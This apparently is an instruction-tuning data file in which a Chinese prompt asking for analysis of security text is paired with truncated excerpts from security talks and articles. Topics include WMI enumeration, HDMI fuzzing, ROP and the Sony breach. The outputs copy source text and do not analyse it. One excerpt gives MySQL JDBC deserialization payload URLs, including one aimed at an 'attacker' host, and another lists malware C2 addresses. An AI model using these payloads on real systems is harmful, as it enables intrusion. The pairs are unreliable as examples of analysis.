Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

<location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Detecting Fake 4G Base Stations
in Real Time
Cooper Quintin - Senior Security Researcher - EFF Threat Lab
Defcon Safe Mode With Networking 2020
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Intro
•
Cooper Quintin
–
Senior security researcher
–
Has a toddler (dad jokes)
–
Former teenage phone phreak
•
EFF
–
Member supported non proﬁt
–
Defending civil liberties
–
30 years
•
Threat lab
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Yomna!
None of this research
would have been possible
without her hard work.
This is as much her project
as mine.
Twitter: @rival_elf
Actual photo of Yomna
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Technology that Targets At Risk People
•
Activists, human rights defenders, journalists, domestic
abuse victims, immigrants, sex workers, minority
groups, political dissidents, etc…
•
Goals of this technology
–
Gather intelligence on opposition
–
Spy extraterritorially or illegally
–
Locate and capture
–
Extortion
–
Harass and intimidate
–
Stiﬂe freedom of expression
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Jeﬀ Bezos Can Aﬀord a Security Team
Cybersecurity and AV
companies care about the
types of malware that aﬀects
their customers (usually
enterprise.)
We get to care about the
types of technology the
infringe on civil liberties and
human rights of at risk
people.
This guy is not at risk.
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Our Goals
•
Protect people
•
Broaden our communities` understanding of threats
and defenses
•
Expose bad actors
•
Make better laws
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Previous Project
Dark Caracal
Stalkerware
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
What We are Going to Talk About Today
•
Cell-site simulators AKA Stingrays or IMSI Catchers
•
How they work
•
Previous eﬀorts to detect them
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
DEFCON 15
Analyzing Intrusions & Intruders
A Deeper look at a psychological approach towards network analysis
Sean M. Bodmer
Savid Technologies, Inc.
sbodmer@savidtech.com
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
!!Updated Presentation!!
» This slide deck is different from your CD
» I will provide an updated brief to DEFCON
for further review
» Thanks in advance!
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Introductions
» Who am I?
– Sean M. Bodmer
• Savid Technologies, Inc.
• Honeynet Researcher & Intrusion Analyst
• Information Security/Criminal Sciences Researcher
• Over a decade working in Information Security
– Not an expert Behavioral Profiler!
• A Intrusion Analyst by trade
• Studies signatures and observables of Intrusions
• Building a thesis on Attacker/Threat Profiling
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Why am I here?
» To enable you to walk
away with alternative
concepts and methods to
better perform intrusion
analysis and attacker
characterization of cyber
crimes and cyber
criminals
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Everyone's Challenge
» What can you do as a Security Professional to
protect your assets and better understand
threats?
» How do you learn from attackers and threats?
» How can you use this to properly analyze the
motives, intent, and behaviors?
» How can you prevent further attacks and
generate stronger protections?
» How do you effectively communicate your
findings to senior leadership?
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Overall Foundations
» Behavioral Profiling
–– Generally profiling has negative connotations, but this is the l
Generally profiling has negative connotations, but this is the literal
iteral
term
term…
…
–– Assumptions of Profiling
Assumptions of Profiling
• The rational relies on the uniqueness of experience & different
personality ty...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

HIGH-DEF FUZZING
EXPLORING VULNERABILITIES IN
HDMI-CEC
              name = "Joshua Smith"
              job  = "Senior Security Researcher"
              job += "HP Zero Day Initiative"
              irc  = "kernelsmith"
              twit = "@kernelsmith"
Which of the following is false?
1. Have had 10 knee surgeries... and 5 others
2. Worked at JHUAPL... did mostly weapon sys assessments
3. Was voted "most athletic" in high school... don't judge a
book by its cover ;)
4. Previously ran assessments at the 92d Info. Warfare
Aggressor Sq. (USAF)... now 92d Info. Ops. Sq - vuln
assessments/pentests/red teams
5. Have a B.S. in Computer Engineering from RPI...
Aeronautical. Also, an MIS & some CS from JHU
6. Am an external Metasploit dev... since Feb 2013
7. Had C2 of 50 nuclear ICBMs on 9/11... interesting story
Overview
What is CEC
Specs & Implementations
Design Details
Protocol
Attack Vectors & Surface
Fuzzing CEC
Some Results
Future Work
Why?
Wanted to research an area that was relatively untouched
For me: assembly > C/C++ and RISC > CISC
Another attack vector for mobile devices via:
Mobile High-Definition Link (MHL)
Slimport
Many car stereos as well
My son is completely obsessed with cords/wires, esp
HDMI
Previous Research
HDMI – Hacking Displays Made Interesting
Andy Davis
BlackHat EU 2012
GUI Python CEC fuzzer
Somewhat simplistic
No exception monitoring
No crash data gathering
What is HDMI?
High Def Multimedia Interface
HDMI is an interface specification
Implemented as cables & connectors
Successor to DVI
What is CEC?
Consumer Electronics Control
Feature defined in the HDMI spec
Allows user to command & control up to 15 devices
Can relay commands from remotes
It's what automatically changes your TV input
Vendor-extendable
Adopted by some other technologies
That Don't Look
Like HDMI!
Still has CEC however
Slimport
Think ~ Amazon, Google, Blackberry, LG G+
Mobile High-Definition Link (MHL)
Think ~ HTC, LG Optimus+, Samsung (not G6)
Remote Control Protocol
Specs &...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Format
• Three parts in today’s presentation.
– Kernel auditing research.
– A sample of exploitable bugs.
– Kernel exploitation.
• Pause for questions at completion of
each section, but questions are
welcome throughout.
Part (i)
Kernel Auditing Research.
Kernel Auditing Overview
• Manual Open Source Kernel Security
Audit.
• FreeBSD, NetBSD, OpenBSD and
Linux operating systems.
• Auditing for three months; July to
September 2002.
TimeFrame by Operating
System
• NetBSD
– Less than one week.
• FreeBSD
– A week or less.
• OpenBSD
– A couple of days.
• Linux
– All free time.
Prior Work
• Dawson Engler and Stanford Bug
Checker.
– Many concurrency and synchronization
bugs uncovered.
• Linux Kernel Auditing Project?
Presentation Notes
• The use of the term ‘bug’ is always in
reference to a vulnerability unless
otherwise stated.
• At cessation of the auditing period, over
one hundred vulnerabilities (bugs) were
patched.
Kernel Security Mythology (1)
• Kernels are written by security experts
and programming gods.
– Therefore, having no [simplistic [security]]
bugs.
Kernel Security Mythology (2)
• Kernels never have simplistic [security]
bugs.
– Therefore, only security experts or
programming gods can find them.
Kernel Security Mythology (3)
• Kernels, if buggy, are difficult to exploit.
– Therefore, exploitation is probably only
theoretical in nature.
Research Conjectures
• Kernel Code is not ‘special’.
– It’s just another program.
• Language Implementation bugs are
present.
– Its using languages with known pitfalls.
• Kernel Programmers make mistakes.
– Like everyone else.
Auditing Methodology
• Audit only simple classes of bugs.
• Find entry points to audit.
– Kernel / User memory copies based in idea
on Dawson Englers bug checkers.
• Audit using bottom-up techniques.
• Targeted auditing evolved with
experience.
Auditing Experience
• System Calls are simple entry points.
• Device Drivers have simple entry points
by design.
– Unix; everything is a file.
• IOCTL’s are the swi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

MesaTEE SGX: Redefining AI and
Big Data Analysis with Intel SGX
Yu Ding
Staff Security Scientist, Baidu X-Lab
May-29-2019
About me
• https://dingelish.com
• https://github.com/dingelish
• https://github.com/baidu/rust-sgx-sdk
•
Security Scientist @Baidu X-Lab
•
Rust Fans
•
Ph.D on Exploit/Mitigation
•
Works on Rust-SGX projects
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
Intel SGX for Privacy-Preserving Computation
• Background of Intel SGX
• Challenges on building a privacy-preserving software stack based on Intel SGX
Hybrid Memory Safety
• Rule-of-thumb
• Practice on Intel SGX
Towards a Secure and Trustworthy AI/Big Data Analysis framework
• What is trustworthiness?
• Achieving trustworthy AI/Big Data Analysis using Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
Intel SGX for Privacy-Preserving Computation
• Background of Intel SGX
• Challenges on building a privacy-preserving software stack based on Intel SGX
Hybrid Memory Safety
• Rule-of-thumb
• Practice on Intel SGX
Towards a Secure and Trustworthy AI/Big Data Analysis framework
• What is trustworthiness?
• Achieving trustworthy AI/Big Data Analysis using Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
•
Cloud Provider
•
Data Owner
•
Algorithm Provider (can be data owner)
•
Don’t trust each other
•
Data leaves its owner but still guaranteed to be under control
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
•
Solution Overview
•
Use Intel SGX to establish trust and TEE
•
Secure and Trusted Authentication/Authorization
•
Secure and Trusted Channel
•
Secure and Trusted Execution Environment
•
Build system with hybrid memory safety
•
Trustworthy AI/Big Data Analysis
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
Intel SGX for P...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本篇文章翻译自：Offensive WMI - Exploring Namespaces, Classes & Methods (Part 2) ::
0xInfection's Blog — Random ramblings of an Infected Geek.
本篇文章是 WMI 攻击手法研究的第二篇，主要研究  WMI 中的 3 个组件，在整篇文章中，我们将交替使
用 WMI 和 CIM cmdlet，以便熟悉这两种 cmdlet 类型。
一、命名空间
让我们简单回顾一下命名空间是什么：
命名空间结构信息类似于文件系统中文件夹，但是，与物理位置 (例如磁盘上) 不同，它们本质上
更具有逻辑。
WMI 中的所有命名空间都是 __Namespace  系统类的实例，要获取 root  命名空间下所有命名空间的列
表，可使用以下命令查询同一个类：
Get-WmiObject -Namespace root -Class __Namespace
输出的内容包含了许多信息，为了过滤掉 "无用" 信息，可使用 PowerShell 中的 select ：
现在我们从系统中得到一个命名空间的列表，许多命名空间会是这样格式出现 root\<namespace> ，比
如 root\DEFAULT ， root\CIM2  等等，因为它们是 root (本身也是一个命名空间) 下的命名空间。
注意：一个奇怪而有趣的事实是，WMI 中的默认命名空间不是 root\DeFAULT 而是 root\CIMV2
(自 Windows 2000 以来一直是这样)。
使用 CIM cmdlet Get-CimInstance  可以实现相同目的：
Get-WmiObject -Namespace root -Class __Namespace | select name
Get-CimInstance -Namespace root -ClassName __Namespace
OK，上面已整整齐齐列出来了，那嵌套的名称空间呢？我们已经看到 root 命名空间下有几个命名空
间，只需要编写一个脚本，递归地获取名称空间 (来自 PSMag)：
注意：类和命名空间可能因机器而异，具体取决于可用硬件、安装的应用程序和许多其它因素。
二、类
现在我们有一个可用的命名空间列表，让我们来看看类，那么什么是类？
WMI 类表示系统中的特定项，它可以是从系统进程到硬件 (比如网卡)、服务等任何内容。
类分为 3 个主要类型 (这是 CIM 标准的要求)：
Function Get-WmiNamespace {
    Param (
        $Namespace='root'
    )
    Get-WmiObject -Namespace $Namespace -Class __NAMESPACE | ForEach-Object {
            ($ns = '{0}\{1}' -f $_.__NAMESPACE,$_.Name)
            Get-WmiNamespace $ns
    }
}
Core classes (核心类)：适用于所有管理领域，并提供很少的基本功能，它们通常以双下划线开头
(比如 __SystemSecrity )；
Common classes (公共类)：这些是核心类的扩展，适用于特定的管理领域，以 CIM_ 为前缀 (比如
CIM_TemperatureSensor )；
Extended classes (扩展类)：这些是对基于技术堆栈的常见类的额外添加 (例如 Win32_Process)；
类进一步分为以下类型：
Abstract classes (抽象类)：定义新类的模板；
Static classes (静态类)：主要用于存储数据；
Dynamic classes (动态类)：从 Provider 取回数据，代表 WMI 托管资源，我们最感兴趣的是这种
类型的类；
Association classes (关联类)：描述类和托管资源之间的关系；
2.1 列出类
有了足够的理论支撑，让我们尝试寻找一些类，我们可以使用 Get-WmiObject cmdlet  列出可用的类：
上面这条命令将会列出所有类，但为了举例，假设我们对系统上的用户感兴趣。可以使用以下命令来缩
小范围，该命令列出了用于获取或操作用户信息的所有可用类：
同样也可以使用 Get-CimClass  命令也能实现同样的效果，如下所示：
Get-WmiObject -Class * -List
Get-WmiObject -Class *user* -List
Get-CimClass -ClassName...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

If You Give A Mouse A Microchip
It will execute a payload
and cheat at your high-stakes video game tournament
Mark Williams (skud) and Rob Stanley (Sky)
●
1958 - ‘first’ video game
●
1972 - first recorded, sponsored video game tournament
○
Spacewar! - build in 1960s
○
Rolling Stone sponsored a Spacewar! Olympics in ‘72
Competitive Gaming
Esports
The International 2016
●
Teams from all over the world
●
20 million dollar prize pool (19 million crowd funded)
●
17,000 people watching at the venue
●
Over 20 million people watching online
Esports
●
Massive temporary networks
●
Hot-seat computers
●
Internet connectivity
●
Support player-owned peripherals
Security Challenges at Esports Events
Computers at events typically close these attack vectors:
●
Internet access restricted
●
Player accounts don’t have admin
●
Drivers / configs pre-installed
●
USB Mass Storage disabled
●
Extra USB ports disabled
But you can plug your own mouse and keyboard into the PC!
Potential Attack Vector
●
Found a mouse with an ‘overpowered’ microcontroller
●
Not enough scrutiny over devices at esports tournaments
Why Hack with a Mouse?
Gaming Mouse
Gaming Mouse
●
STMicro STM32F103CB Microcontroller
○
ARM Cortex  M3microprocessor
○
Supports ST-Link programming interface
●
128KB Flash Memory
○
Stores user profiles onboard - save your dpi settings!
●
Lots of buttons
●
RGB LEDs
●
LCD screen
○
User customizable bitmaps
1.
Connect to microcontroller built into the mouse.
2.
Insert code to act as USB Keyboard.
3.
Send keystrokes to execute payload on target computer
4.
“Unplug” the keyboard app, run original mouse code
5.
???
6.
Profit Responsible disclosure
Without obvious physical modifications to the mouse
Hijack the Microcontroller
Frequently Asked Question:
“Wait, isn’t that just a Rubber Ducky in a mouse?”
Hang on a second
???
STMicro STM32F4 Discovery Development board
●
Has an onboard ARM Cortex M4 for initial dev
●
Has an external programming interface to program mouse
Mouse with a ARM corte...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

MySQL-JDBC反序列化
漏洞原理
参考文章：
eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack
小白看得懂的MySQL JDBC 反序列化漏洞分析
MySQL JDBC 客户端反序列化漏洞分析
MySQL JDBC反序列化漏洞
上面这个是BlackHat Europe 2019议题中的利用链，在连接数据库的过程中可以触发漏洞。连接
的条件： jdbc:mysql://attacker/db?
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
&autoDeserialize=true 需要设置这个 queryInterceptors 属性。
ServerStatusDiffInterceptor 是一个拦截器，在 JDBC URL 中设定属性 queryInterceptors
为 ServerStatusDiffInterceptor 时，执行查询语句会调用拦截器的 preProcess 和
postProcess 方法，进而通过上述调用链最终调用 getObject() 方法。
payload
payload 有两种触发方式， SHOW SESSION STATUS 和 SHOW COLLATION ，然后不同的 mysql-
connector-java 版本之间 payload 存在区别。
ServerStatusDiffInterceptor触发：
8.x
jdbc:mysql://127.0.0.1:3306/mysql?
serverTimezone=UTC&characterEncoding=utf8&useSSL=false&queryInterceptors=com.my
sql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"    参
数名称： queryInterceptors
6.x
jdbc:mysql://127.0.0.1:3306/mysql?
serverTimezone=UTC&characterEncoding=utf8&useSSL=false&statementInterceptors=co
m.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
参数名称： statementInterceptors
>=5.1.11
jdbc:mysql://127.0.0.1:3306/mysql?
serverTimezone=UTC&characterEncoding=utf8&useSSL=false&statementInterceptors=co
m.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"   参
数名称： statementInterceptors
<=5.1.10 && >=5.1.0
网上的文章都说：同上，但是需要连接后执行查询。但是我从连接流量当中并没有发现请求了
SHOW SESSION STATUS 语句。但是发现他自动请求了 SHOW COLLATION 语句，不过没有用到反序
列化。
5.0.*
没有payload
detectCustomCollations触发：
>=5.1.41
无payload
5.1.29-5.1.40
jdbc:mysql://127.0.0.1:3306/test?
detectCustomCollations=true&autoDeserialize=true
5.1.28-5.1.19
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
<5.1.19
说是没有payload，但是之前测试 5.1.2 版的时候请求了 SHOW COLLATION 语句，好吧，没有触
发反序列化，所以确实没有 payload
漏洞复现
此处复现需要手动编写一个 mysql 服务端，然后控制客户端连接，客户端自动执行 SHOW SESSION
STATUS 语句时返回我们的恶意 payload 。 jdbc 版本： 5.1.39
先来看看一次连接所发送的请求数据包
package com;
import java.sql.Connection;
import ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ⓒ Copyright 2016, blackfort security all rights
reserved.
Malware is In the Memory
Real Time Malware Memory Analysis System
2016 HITCON
YoungJin Sim / BLACKFORT Security / Senior Researcher
<jine@blackfortsec.com>
YoungHak Lee / BLACKFORT Security / Senior Researcher
<vstherock@blackfortsec.com>
Who we are
ⓒ Copyright 2016, blackfort security all rights reserved.
http://www.blackfortsec.com
YoungJin Sim
YoungHak Lee
New malware per day
Reference: http://www.redsocks.nl/blog-2/malware-statistics-march-2016/
- Per day average 425,531!
- Researcher Analysis time
average 1 hour
- 1day working hours 8 hours
- 425,531 / 8 = 53,191
ⓒ Copyright 2016, blackfort security all rights reserved.
http://www.blackfortsec.com
Cuckoo Sandbox
- Malware Automatic Analysis System
- Windows, OSX, Linux, Android Supported
- Trace API Calls(User Level API Hooking)
- Cuckoo Monitor.dll
- Rootkit Analysis is impossible
(example: Zero access)
- Vulnerable to Anti-VM
(example: Citadel)
ⓒ Copyright 2016, blackfort security all rights reserved.
http://www.blackfortsec.com
- Reference: http://docs.cuckoosandbox.org/en/latest/introduction/what/#architecture
Why Memory Analysis?
- All Programs are loaded in memory
- Malware Protector Bypass(packing, anti-debug)
- Advanced malware operates solely in memory
- Identifies system activity and overall machine state
- Memory reliability is very important
- Example: Memory Analysis, Drakvuf, Memminer
ⓒ Copyright 2016, blackfort security all rights reserved.
http://www.blackfortsec.com
- Black Hat USA 2014 Arsenal Release
- Cuckoo Sandbox Dependencies
- Interval-based memory dump
- Too many dumps are inefficient in analysis, time and disk space wise
- Trigger-based memory dump
- API which has not been hooked cannot be analyzed
Memory Analysis
Interval-base Memory dump
Trigger-based Memory dump
ⓒ Copyright 2016, blackfort security all rights reserved.
http://www.blackfortsec.com
- Reference:https://github.com/djteller/MemoryAnalysis
Drakvuf
- 2014 Hackt...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Stitching numbers
Alex Moneger
Security Engineer
10th of August 2014
Generating ROP payloads from in memory numbers
Cisco Con!dential
2
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
!  Work for Cisco Systems
!  Now a developer in the Cloud Web Security Business Unit (big cloud
based security proxy)
!  Used to be a networking security architect
!  Helped design the next generation datacenters for CWS
!  Interested mostly in bits and bytes
!  CCIE #36086
Who am I?
Cisco Con!dential
3
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
1.  Brief ROP overview
2.  Automating ROP payload generation
3.  Number Stitching
1.
Goal
2.
Finding gadgets
3.
Coin change problem
4.  Pros, Cons, Tooling
5.  Future Work
Agenda
Cisco Con!dential
4
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
Introduction
Cisco Con!dential
5
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
!  Generate payloads using numbers found in memory
!  Solve the coin change problem to automatically generate ROP
payloads
!  If possible, use no gadgets from the target binary, only gadgets
generated by libc stubs
!  Automate the process
TL;DR
Cisco Con!dential
6
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
ROP overview
Cisco Con!dential
7
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
!  Re-use instructions from the vulnerable binary
!  Control #ow using the stack pointer
!  Multi-staged:
1.  Build the payload in memory using gadgets
2.  Transfer execution to generated payload
!  Only way around today’s OS protections
Principle
Cisco Con!dential
8
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
!  Useful instructions => gadgets
!  Disassemble backwards from “ret” instruction
!  Good tools available
!  Number of gadgets to use is dependent upon target binary
Finding instructions
Cisco Con!dential
9
© 2013-2014  Cisco and/or its a"liates. All rights reserve...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

技
术
标
准
研发运营一体化能力成熟度模型
第 2 部分：敏捷开发管理过程
The DevOps capability maturity model
Part 2: Agile management process
（征求意见稿）
2017 年 11 月 18 日
YDB XXXXX—XXXX
I
目  次
目次!........................................................................................................................................!I
前言!.......................................................................................................................................!II
1! 范围!..............................................................................................................................................!1
2! 规范性引用文件!...........................................................................................................................!1
3! 术语!..............................................................................................................................................!1
3.1$ 黄金圈$ golden$circle$.....................................................................................................................$1
3.2$ 用户故事$ user$story$.....................................................................................................................$1
3.3$ 用户故事地图$ user$story$mapping$..............................................................................................$1
3.4$ 影响地图$ impact$mapping$...........................................................................................................$1
3.5$AB 测试$ ab$test$..............................................................................................................................$1
4! 缩略语!..........................................................................................................................................!2
5! 综述!..............................................................................................................................................!2
6! 敏捷需求管理!..............................................................................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

駭客如何弄垮企業?
從索尼影業與南韓核電廠事件說起
gasgas@chroot.org
ziv_chang@trendmicro.com
2015.01.09
  HITCON
  Freetalk
索尼影業被害事件
•  iThome
  2014
  12
  05
  報導
•
索尼影業（Sony
  Pictures）在上周⼀一（11/24）遭到駭客⼊入侵，導致內部
網路及電腦全數停擺，除影⽚片及員⼯工資料外流，並傳出內部電腦資料
全數遭刪除。介⼊入調查的FBI隨後緊急警告美國業者應留意⼀一款可執⾏行
毀滅性網路攻擊的惡意程式，資安業者對該惡意程式研究發現，駭客
在正式展開攻擊的48⼩小時前才編譯執⾏行程式，顯⽰示在攻擊之前就已掌
握⺫⽬目標對象的所有網路及鎖定的⺫⽬目標機器。
•
包括趨勢科技、賽⾨門鐵克、卡巴斯基實驗室，與Blue
  Coat等資安業者
都分析了FBI所提及的Destover惡意程式，發現該惡意程式專⾨門鎖定Sony
Pictures，熟悉其內部電腦架構。除了記錄Sony內部主機名稱與IP位址
的關係，還含有許多可進⼊入共享網路的使⽤用者名稱與密碼。當滲透到
Sony網路之後，惡意程式就會開始運作，包括刪除使⽤用者的檔案，刪
除近端或遠端磁碟的檔案還有⽤用來開機的主啟動磁區（MBR）。此外，
Destover中還有⼀一個BMP桌布檔的「Hacked
  By
  #GOP」畫⾯面與Sony被駭
時所出現的電腦畫⾯面⼀一致。
2015/1/12
2
資料來源:hQp://www.ithome.com.tw/news/92853
Sony
  Pictures事件編年史(1)
2
2014.11.24
Sony
  Pictures
  傳出被駭,
  GOP（Guardians
  Of
  Peace） 宣稱是他們作的
2014.12.01
FBI介入調查,
  並懷疑是北韓做的
GOP釋出26.4GB的資料,
  包含4864個資料夾與33880個檔案
15232個在職員工的SSN外洩
Sony
  Pictures事件編年史(2)
2015/1/12
2
2014.12.03
北韓外交官出面否認
•  GOP釋出第二批被偷資料,
  33.7MB的壓縮檔案
•  包含了500組帳密,
  主機資訊,
  內部IP
•  伺服器的憑證資料
•  121組FTP帳密
•  公司對外使用的各種服務帳號,
  包括YouTube,novell,
  mediataxi,
  inﬂight,
ﬁdelity,
  spiDR,
  SPIRIT,
  sony
  style
  family
  center,
  FEDEX,
  Connect,
  SPTI,
  Acron
TASS,
  SPE
  Courier,
  Concur,
  SPC
  Press,
  AIM,
  HR
  Connect,
  AMEX
Sony
  Picture事件編年史(3)
2
2014.12.09
北韓朝鮮通信表示駭客行為是正義的,
  並否認北韓參與
2014.12.17
Sony
  Pictures
  宣布取消
  “The
  Interview”
  公映
2014.12.19
FBI開記者會證實北韓是幕後主使者
2014.12.23
北韓對外網路斷光光
2014.12.24
Sony
  Pictures
  宣布恢復
  “The
  Interview”
  公映
2015.01.02
美國對北韓進行新一輪的經濟制裁
攻擊SPE的惡意軟體
（FBI/US-‐CERT公佈的資訊)
種類
數量
說明
SMB
  蠕蟲
2種
透過網芳猜測密碼並植入惡意程式
監聽工具
未知
監聽網路,
  監聽鍵盤,
  監聽瀏覽器
輕量型後門
13種
單純回報與接收命令
代理工具
10種
內部網路連接使用
硬碟破壞工具
未知
破壞硬碟開機區域(MBR)
毀滅&清除工具
   2種
刪除惡意程式並清除記錄
Destover
6種
徹底銷毀硬碟資訊,
  復原無效
惡意程式中繼站
（FBI/US-‐CERT公佈的資訊)
IP
國家
Port
  Number
203.131.222.102
   泰國
8080
217.96.33.164
波蘭
8080
88.53.215.64
義大利
8080
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

安全服务解读 by yuhao
安全服务从业⼈员占⽐在整个⾏业的占⽐越来越⼤，其中很多未来或许会成为甲⽅的安全信息化⼈员、
安全研究⼈员、红蓝对抗⼈员、代码审计的⼈员、CTF研究员。
本⽂解决的主要⽬的是：很多在步⼊⼯作的第⼀份work就是⼀名普通的安全服务⼈员如何了解⾏业，如
果成为已经是⼀名安全服务从业者，如何提⾼⾃我价值。所以有必要可以讲解⼀下什么是安全服务，不
要成为单⼀低廉的重复⼯作劳动⼒。
安全服务整体架构
安全服务在现在的⽹络环境下，所带来的价值和其⼯作前景如何，我将安全服务分为以下⼏种类型，然
后按照其中的⼯作内容，对其所必备技能和带来价值进⾏⼀定的解读
通过⼀个简单的分类，我们可以知道安全服务的⼤致⼯作，接下来我们可以⼀⼀分解其中的每⼀项和必
备技能，⽽不是值守单⼀的渗透测试，或者安全漏扫这些⽆有什么⻔槛的⼯作。
安全咨询
安全咨询诞⽣于互联⽹企业、传统医疗、交通、⾦融等⾏业步⼊了信息化的2.0时代，要拥抱信息化这个
过程中，其整体信息化架构的逐步完善过程。
例如⼤家都知道在互联⽹⼤⼚每年会招聘顶级的安全架构师、技术总监，这些leader从事的⼯作主要内
容就是整个企业的信息安全机构、信息科技化的进度、信息安全管理等
但是！但是！我们抛开这些字节、阿⾥这些企业，⼤量的国有企业、⺠营企业没有并不能招聘到这种顶
尖⼈才，故就需要安全⼄⽅公司，提供⼀下服务：
⼀般能从事这种服务的⼯程师，会成为顶尖的架构设计师，⽆论是⼄⽅还是甲⽅，都是安全专家的title
那么⼀个合格的安全咨询需要解决什么样的问题？
正如⼀个软件开发⼀样有⽣命周期，⼀个企业的安全建设依然有⽣命周期
那么其中⾯临的挑战就是
安全评估
除去其中最难的安全咨询以后，安全服务的第⼆个服务价值点就是安全评估，诸如银⾏、⾦融为什么安
全做的⽐⼤多数其他企业安全做的好呢，并不是因为他们技术顶尖，采⽤的web系统更新快，反⽽有些
应⽤系统数⼗年没有更新换代，主要原因就是监管的要求下，这类企业每年会花⼤量精⼒去做安全评估
安全评估我分为两类 传统安全评估、新安全评估
信息安全架构规划
信息科技服务能⼒优化及提升
信息科技⻛险管理体系建设
等级保护2.0建设咨询
信息安全管理体系建设
应⽤架构挑战
管理制度挑战
威胁、脆弱性变化的挑战
运营能⼒挑战
其中传统的安全评估可能就⽤到我们熟悉的⼀些⽅式了
渗透测试-Web应⽤评估
  注⼊攻击
  跨站脚本
  权限问题
  信息泄漏
  框架漏洞
  供应链攻击
代码审计
  PHP
  JAVA
新的安全评估其内容如下
安全测试
安全测试就是安全服务中最常⻅⼀类服务，也是最容易接触的，⼀个红蓝对抗的研究者、代码审计的研
究者、普通渗透测试研究者，都可以轻易上⼿，对传统的Web应⽤系统进⾏⿊盒+⽩盒的渗透测试
这也就是安全测试需要⾼技能和⾼素质的安服⼈员的原因，需要想研究员的研究和学习能⼒看⻬。
配置检查
  中间件基线
  数据库基线
  安全设备策略
  ⽹络设备策略
抗反编译能⼒
代码混淆防护
基础合规检查
物理环境检测
Web渗透测试
移动应⽤渗透测试
代码审计服务
安全公司安全服务采⽤代码审计的形式提供服务，需要代码审计能⼒强⼤的安全⼯程师，采⽤快速的⽅
式，对代码进⾏审计
护⽹⾏动
随着国->省->地市的护⽹⾏动越来越频繁，规模越来越⼤，在安全测试当中的实战攻击，已经越来越趋
近于真实的攻击，所以在安全服务中，有很⼤⼀部分⼯程师是实际的安全攻防⼈员，他们也是以内⽹渗
透和漏洞追踪为主，积累响应的攻击⼿段和藏匿⼿段。
但是我们可以显⽽易⻅的，这种内卷⾏为导致红队⼈员的攻击越来越难，需要从更⾼维度的攻击⼿法才
能攻破⽬标，从17年⾄今，其攻击⼿段可以从下图⻅的：
hvv的攻击催⽣了安全服务⼤量的红队测试、蓝队防御等项⽬，其在推动技术更新换代的上是功不可没
的。
安全运维
安全运维是安全服务中最“体⼒”的⼯作，也是⼤家最不参与的安全⼀环，那就是靠体⼒换取脑⼒，对⽹络
安全整体⼀个架构辅助设备的⻓期监视，其中的⼯作内容就有如下:
当然 安全运维的另⼀项必备技能就是应急响应的能⼒-对⽇志的分析
⽹络的可靠性：⽹络设备和链路冗余、设备选型及可扩展性
⽹络边界的安全：⽹络设备的ACL、防⽕墙、vlan、物理隔离等
⽹络协议分析：路由、交换、组播、IGMP、ipv4、ipv6
⽹络流量分析：带宽流量分析、异常流量分析、抗拒绝服务能⼒
⽹络通信安全：通信监控、通信加密、vpn分析等
设备⾃身安全：snmp、⼝令、设备半杯、系统漏洞、端⼝
⽹络安全管理：⽹管系统、登陆协议、⽇志审计、身份验证
⽇志分析->判断事件类型->获取⽇志⽂件->⽇志分析->分析过程记录->输出报告
每年的hvv这个重⼤的活动中，顶尖蓝军的技能也会让红军⾮常...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Bio
 SecurityResearcher/Tester(HarrisCorp)
 FormerArmyRedTeamOperator
 OneofthedevelopersofPowerSploit
 Twitter:@obscuresec
 Blog:www.obscuresec.com
Sayhellotokrbtgt
He’sbeenheresincethebeginning
TheEarlyYears:20012004
GrowingPains:20052008
MaturityRealized:20092012
MemeCount:1
SkeletonsintheCloset:20132014
MemeCount:2
http://blog.gentilkiwi.com/securite/mimikatz/goldenticketkerberos
